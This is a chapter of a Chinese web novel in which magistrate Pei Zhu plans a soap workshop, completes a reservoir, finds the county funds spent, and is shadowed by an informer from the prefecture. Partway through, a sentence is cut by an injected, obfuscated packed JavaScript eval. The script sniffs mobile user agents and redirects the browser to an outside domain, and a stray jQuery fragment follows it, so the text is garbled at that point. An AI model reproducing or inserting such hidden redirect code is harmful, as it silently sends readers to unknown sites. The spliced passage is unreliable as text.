匣子打开,里面躺着三张漂亮的洒金笺。一张写着玻璃方子,一张则是茄皮紫釉瓷器,最后一张仿佛是送的,不过是个香胰方子。
确实都是能赚钱的好东西,尤其是前两者,若是造出来,卖价肯定高得离谱,光是想想都觉得钱途无量。可惜玻璃太扎眼了,弄出来也保不住;紫色瓷器工艺高不说,还得引入一种叫珠料的钴土矿,短时间内想必是弄不过来的,先待定,等有了渠道再试一试。
永宁县一穷二白,眼下只能选择建个香胰厂了。香皂这种东西,裴杼上学的时候就做过小实验。当时做的简单得很,不过这道方子的原药却十分丰富,不仅有各色中药,还有许多香料,密密麻麻的配方,看得人眼花缭乱。但究其根本,仍旧还是最简单的皂化反应罢了。
裴杼又想起了已经消失不见的另一个小匣子,心中不免遗憾,不知那里面是什么。但眼下当务之急是赚钱,有了钱,才能做更多的事,裴杼只能寄希望于下回完成任务还能看到种子选项。
让他瞧瞧下一个任务是什么。
嗯……兴建工厂一座,完成“琳琅满目”商品成就,任务时限,三个月。
裴杼握着方子笑了笑,系统安排的任务接应得还挺顺畅,真是一点没让他闲着。
从山顶一路往下,沿着水库边缘转过一圈后,裴杼等人也没看出任何不妥,王绰也仔仔细细看过,这水库他已经推演了无数遍,不会有错的。
两万多工人还在旁边等着,裴杼知道他们着急回去,赶忙宣布今日正式完工,将剩余的钱发下去,并将早已煮好的粥端了上来。
为庆贺今日完工,裴杼特意让人拿了九百多斤的腌肉切好运过来,虽然不多,但是每个人都能分到几块。
水库未来是否能够缓解洪涝他们不得而知,反正目前来看只是个大坑,百姓在此挖了这么多天也没有多少真情实感,但是眼前的肉却是真的。众人没想到今儿还能有口肉吃,打饭的时候欢天喜地,等聚到一块儿的时候还在比谁分到的肉大。其实都差不多,但是谁让他们许久没吃到肉呢,没话也要找话聊。
“先前还以为永宁县小气,原来只是没到大方的时候,今日的粥格外厚实,还有这么多的肉,眼睛都不眨一下就拿出来了。”
“这些天苦是苦了点,但是好歹能拿到钱,也算是意外之喜了,今年也能跟着过个好年。”他们是隔壁安平县的,安平县虽然没穷成永宁县这般,但是在其他几个县中也算是垫底的,贫苦百姓们的日子也不大好过。
“是说不是呢,哎?我这几块貌似还是腿肉,吃着真是香,咸津津的,这得花多少盐啊?”
无独有偶,过来看热闹的张县令也在问这事儿。如今盐价也不低,裴杼哪儿弄来这么多的盐?
郑兴成冷笑。
裴杼摸了摸脑袋:“上任陈县令治理有方,衙门库房里剩的。不过现在也没了,都用光了。”
张县令狐疑:“那陈大人还真的挺会攒。”
“谁说不是呢。”裴杼眼神直往两边瞥。
郑兴成冷笑的声更大了,什么衙门里剩的,分明是裴杼抢去的!陈大人同他好不容易弄来这批盐,准备年末转手卖个大的,结果还没赚到钱就被裴杼给查到了,不由分说给霸占了去。嘴里还冠冕堂皇地说是为了他们好,免去他们触犯国法、来日被清算。
郑兴成如今想到这事还气得心口疼,这裴杼同他天生犯冲!自从裴杼过来之后,占了他多少好东西来着?他都数不清。
盐的事裴杼不愿意多提,又将话题往水库上面绕。如今没有蓄水,这水库还差点意思,等到来日蓄上了水必能成为幽州地标。届时他再起一个不同凡响的名字,还怕没有文人墨客过来写诗诵词么?
振兴永宁县的事业蒸蒸日上,裴杼一高兴,直接凑到张县令跟前道:“如今河渠完工,还得多谢诸位县令大人帮衬。永宁县虽然不富裕,可做一回东道的钱还是有的。不知张大人近期可有空闲,我再约了其他诸位大人,咱们一道聚一聚?”
说起来,大家还没坐下来好好了解一番呢。
张县令挑眉,看傻子一样盯着裴杼:“你想造太守大人的反?”
一个穷鬼县衙还想做局请其他几个县令吃饭,叫刘太守怎么想?果然初出茅庐的就是没脑子,什么话都敢往外头蹦:“这话别再提了,叫州衙那边的人听到不定怎么想。”
裴杼哼哼两声:“那就等到蓄水那日请太守过来题词,到时候大家都在,聚一聚不就合规矩了?”
张县令不懂他为何对聚餐如此热衷,有什么好聚的?他可听说了,三月前杜大人去永宁县查案,永宁县就拿些粗茶淡饭招待人家,可把杜大人给嫌弃得不行。有了前车之鉴,张县令对永宁县的招待的饭菜提不起一丝期待。
但是直接拒绝不好看,张县令淡淡地道:“你能请的来太守大人再说吧。”
真以为太守大人这么好请?
裴杼觉得试一试也无妨。
散场之后,数万百姓成群结队地离开水库,外头虽然冷,但是想到今冬赚到的钱,连脚步都轻快了许多。永宁县县令说今年春后这里才会蓄水,那他们就等到那时候再来看一眼。
裴杼也跟着众人一道返程,通往永宁县城的是条曲折的小路,一遇上雨水天气便泥泞不堪,裴杼走着也觉得难受。但这只是一时的,等到他赚了钱后,无论如何得先将这条路给修了。
说起赚钱,裴杼又想到了自己怀里揣着的方子,心中登时火热一片,谁都不能阻止本大人发家致富!
回了衙门后,裴杼立马召集众人开始盘账。
他以为衙门账上应该还剩一笔,至少可以撑到他建造一间简易的作坊,并且将第一批的原材料置办齐全。但一通盘算之后,裴杼沉默了。
“不应该啊……”这回州衙给的钱不是挺多的吗?裴杼费解。
郑兴成坐在那儿便是一阵阴阳怪气:“怎么不应该了?裴大人每日两顿地伺候着那些短工,还比照市价给他们发钱,衙门又采买了不少修筑河渠所用的东西,三个月花费如流水一般,能剩下来几个钱才见鬼呢。”
张如胜紧随其后:“这仅剩的钱也不能动,衙门日常开销、官吏吃饭俸禄都得从这里出。”
少了谁也不能亏了他们的嘴,张如胜坚持为自己的利益争取。
裴杼还不相信,趴在桌案上仔仔细细又算了一遍,很可惜,确实所剩无几了。按理说不该花的这么快的,这中间采买肯定有人捞了不少油水。
剩下来的这笔钱别说建一座工坊,能将原料买回来都够呛。裴杼也意识到自己花钱可能没个规划,嘀咕道:“早知道就找个人专门管账了。”
不管是他还是王绰,亦或是只会挑刺儿的郑兴成,都不是专门管账的人。
郑兴成啧了一声:“心里没成算,找谁都没用。”
管账啊……王绰脑海里忽然浮现出一个人影,她倒是挺合适的。
魏平却突然问:“大人要钱是有什么打算吗?”
裴杼也没瞒着他们,这里要么是他的人,要么是被迫绑在他这条船上的人,尽管暂时还没团结一致,但是遇到事情还是可以商量商量的:“我打算新建一座工
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057222|162795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坊。”
郑应成带着明显的轻慢:“工坊?屠宰坊还是养猪坊?”
裴杼扫了他一眼,强调:“香胰工坊!”
郑应成就看不上裴杼这股轻狂劲儿,还没学会爬就先想着跑了,也不看看永宁县如今是什么模样,兜里没点钱不说,还欠了一屁股的外债,结果这厮不想着节流,整天不是想做这个就是想做那个,早晚要把他们给掏空。
郑应成可不像另外那两个人一样惯着裴杼,挑明了说:“咱们县里就这个情况,大人若有本事弄不出来钱,那我也没什么好说的。只有一样,这里的钱动不得,否则底下的人一旦闹翻了天,大人可别嫌面上难看。”
不用就不用,有什么了不起的?
账上没钱,裴杼转头就将心思打到那点宝贝金银矿上,三个月的时间不长,得赶紧将金银挖出来置办东西了。至于这笔钱的来路,等偷偷挖出来之后,再想法子搬到明面上就是了。
犹豫只会一事无成,无论三七二十一先做了再说,这是裴杼的人生信条。可还没等到裴杼吩咐魏平,永宁县衙忽然来了一位不速之客。
州衙派了一位新师爷过来。
“属下赵炳文,奉太守大人之命前来相助!”
来人中等个头,相貌也平平,不说话时嘴巴拧成了一条直线,尤为严肃。
郑应成心中一喜,此人多半是刘太守的亲信,虽不知过来究竟是何目的,但是与他交好总归是错不了的。而且有州衙的人在,裴杼再想只手遮天胡作非为,可就不能够了。
郑应成仿佛是见到了亲人一样喜不自胜,可裴杼却笑不出来,他委婉劝退:“太守大人派你过来是为了修河渠一事吧?亏得太守大人时常惦记,河渠如今已经完工,你还是赶紧回去给太守大人复命,免得大人再惦念。”
赵炳文却耿直道:“太守大人没让我回去,叫我今后都留在这儿给您分忧来着。”
裴杼:“……”
大可不必。
一旁的郑应成嘴巴都要笑烂了,活该,让这厮最近这么张扬,还把主意打到州衙头上,刘太守岂能不治他?
三两步握住了赵炳文的手,郑应成满脸堆笑:“多亏太守大人费心,我先带你下去安置。”
在郑应成与张如胜地关怀之下,赵炳文连夜住进了官舍。
裴杼总感觉此人是冲着他来的,等到了第二天,这一猜想得到了充分证实。
那赵炳文一双眼睛仿佛长在他身上似的,裴杼去哪儿他去哪儿,看得人心中恼火。不仅如此,裴杼还发现了他午后不知在纸上悄悄默默地记下了什么。
这是准备告状,可他还没做什么吧?
赵炳文可一直记着大人的吩咐,让他务必看好裴县令,一举一动都要向上汇报。赵炳文做事一板一眼,太守大人让他看着,他就得看着严严实实。
裴县令跟郑县城疑似不和,记下。
裴县令心急如焚,似乎有大事要办,记下。
裴县令身边那个姓魏的还瞪了他一眼,这个更要记下!
没有什么能逃得出他的法眼!
短短一日,便让裴杼心力交瘁,有这么个人在身边盯梢,许多事情都做不了,尤其是挖矿。一旦裴杼吩咐下去,早晚得露馅,那这挖出来的东西肯定是要上缴的。
裴杼可舍不得便宜了别人。
但任务在即,他总得想法子先把工坊给建起来,到底从哪儿弄来钱呢?
埋头叹了好一会儿的气,绞尽脑汁的裴杼忽然拍了一下脑门,灵机一动。
有了,怎么把他给忘了?!